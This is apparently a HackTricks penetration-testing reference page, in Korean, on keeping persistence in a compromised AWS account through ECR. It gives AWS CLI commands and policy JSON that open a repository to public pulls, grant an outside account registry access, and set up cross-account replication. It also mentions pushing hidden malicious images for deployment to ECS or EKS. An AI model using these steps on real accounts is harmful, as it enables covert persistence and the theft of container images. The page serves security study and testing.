AWS - ECR Persistence

Support HackTricks

ECR

자세한 정보는 다음을 확인하세요:

AWS - ECR Enum

악성 코드가 포함된 숨겨진 Docker 이미지

공격자는 악성 코드가 포함된 Docker 이미지를 ECR 리포지토리에 업로드하고 이를 사용하여 대상 AWS 계정에서 지속성을 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS 또는 EKS와 같은 계정 내의 다양한 서비스에 악성 이미지를 은밀하게 배포할 수 있습니다.

리포지토리 정책

리포지토리에 대한 액세스를 자신(또는 모든 사람)에게 부여하는 정책을 추가하세요:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ECR은 사용자가 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀하기 전에 IAM 정책을 통해 ecr:GetAuthorizationToken API를 호출할 권한이 있어야 한다는 점에 유의하십시오.

레지스트리 정책 및 크로스 계정 복제

크로스 계정 복제를 구성하여 외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능합니다. 여기서 레지스트리를 복제하려는 외부 계정지정해야 합니다.

먼저, 외부 계정에 레지스트리 정책을 통해 레지스트리에 대한 액세스를 부여해야 합니다:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

그런 다음 복제 구성을 적용합니다:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
HackTricks 지원하기

Last updated